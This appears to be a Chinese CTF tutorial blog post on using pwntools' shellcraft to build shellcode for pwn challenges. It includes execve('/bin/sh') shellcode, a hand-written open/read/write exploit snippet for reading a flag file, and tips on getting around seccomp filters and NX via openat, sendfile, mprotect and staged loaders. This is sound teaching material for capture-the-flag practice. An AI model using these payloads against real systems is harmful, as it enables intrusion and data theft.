shellcraft杂谈

1. 什么时候考虑写 shellcode?

在 pwn 题里,是否写 shellcode一般要看是否能满足以下条件:

能把可控字节放进一块可执行内存:如程序把输入放到栈/堆且该段 可执行(NX 关闭);或能把内存权限改为可执行(有mprotect, mmap函数)。

所以写入shellcode前要先检查一下,确保shellcode写入到可执行内存中。
若以上条件不满足,更适合探索其他路线。


2. shellcraft 的三个常用组件

shellcraftpwntools 里的一个模块(板子),会根据体系结构生成汇编片段。以下均以x64架构为例。

1
context.arch = 'amd64'

2.1 shellcraft.sh()

  • 作用:构造执行 execve("/bin/sh", 0, 0) 的 shellcode。
  • 适用:允许 59 号系统调用、无 seccomp 限制。
  • 用法示例:
1
2
3
shellcode = shellcraft.sh()          # execve("/bin/sh", NULL, NULL)
# asm()函数将汇编翻译成机器码,shellcode都需要转换成机器码再写入内存:
payload = asm(shellcode) # 这句默认都需要,下面就不写了

2.2 shellcraft.pushstr()

  • 作用:把一个以 \x00 结尾的字符串压到栈上,再作为系统调用参数。
  • 典型写法:
1
2
shellcode = shellcraft.pushstr(b"/bin/sh\x00")  # 把字符串压栈,rsp 指向它
shellcode += shellcraft.mov('rdi', 'rsp') # rdi = 指向 "/bin/sh"
  • 对应汇编:
1
2
push 0x0068732f6e69622f   ; "/bin/sh\x00"
mov rdi, rsp 或者 pop rdi ; rdi 指向栈顶的字符串

2.3 shellcraft.cat("./flag")

  • 作用:禁用59号execve()系统调用时,一条龙 打开文件→读→写到 stdout,非常适合作为 orw 的快捷实现(open->read->write)。
  • 用法示例:
1
sc = shellcraft.cat("./flag")   # open("./flag", O); read(); write(1, buf, 0x50)
  • 优点:不用自己管缓冲区循环,能快速验证 orw 思路。
  • 注意:若沙箱禁了 open 而只放行 openat,需要改用 shellcraft.openat(...) 或手写 syscall。

3. orw(open/read/write)汇编实现:

前置芝士:😋

  • 关于文件描述符(句柄):
    • 文件描述符是一个非负整数,用于标识一个打开的文件或其他输入输出资源。
    • 每个进程都有自己的文件描述符表,记录着所有打开文件的信息。
    • 文件描述符从 0 开始分配,通常 0、1、2 分别对应标准输入、标准输出和标准错误输出。
  • 关于库函数:
    • open(file,mode): 以mode模式打开file文件(带路径),返回文件描述符。
      mode: 0->只读、1->只写、2->读写。
    • read(fd,buf,count): 从文件描述符 fd 读取数据到 buf,最多读取 count 字节。
    • write(fd,buf,count): 向文件描述符 fd 写入 buf 中的数据,最多写 count 字节。

orw实现:

  • 59(execve)被禁/bin/sh 起不来,就走文件读写:

    1. open / openat 打开 ./flag(或题目指定路径),获得 fd。
    2. read 把内容读到可控缓冲区(通常是栈上,rsp)。
    3. write 把缓冲区写到 stdout(fd=1)返回给我们。
  • exp:

1
2
3
4
shellcode =asm(shellcraft.pushstr("./flag")+"mov rdi,rsp;push 2;pop rax;xor rsi,rsi;syscall")#open
shellcode+=asm("mov rdi,rax")#将返回值放入read的一参数
shellcode+=asm("mov rsi,rsp;push 0x50;pop rdx;push 0;pop rax;syscall")#read
shellcode+=asm("push 1;pop rax;push 1;pop rdi;syscall")

因为不同题目的限制不一样,shellcraft可能不适用,所以建议各位大爹手写汇编🥰

4. 如果常用的被禁了😭

open 被禁但 openat(257) 可用,使用shellcraft.openat

read被禁了用sendfile ,把 flag 直接送到 stdout


5. 调试与实战小贴士

  • 先本地跑:用 process() + gdb.attach();看 seccomp(如题给 seccomp-tools 的输出)到底放了哪些 syscall。

  • RWX 获取:NX 开着就用 ROP 先 mmap/mprotect

  • 极简 loader:若输入长度受限,先丢一个 “读更多字节到某地址再跳转” 的小 loader,然后把完整 orw shellcode 流进去。


6. 小结(拿题就能套)

  • execveshellcraft.sh(),最快起 shell。
  • 禁 59 → 走 orw:优先 shellcraft.cat("./flag")open 被禁就换 openat;再不行找 已存在 fdsendfile
  • 熟悉 pushstr 的用法,你就能自由拼接口参数,快速写出自定义 syscall 组合。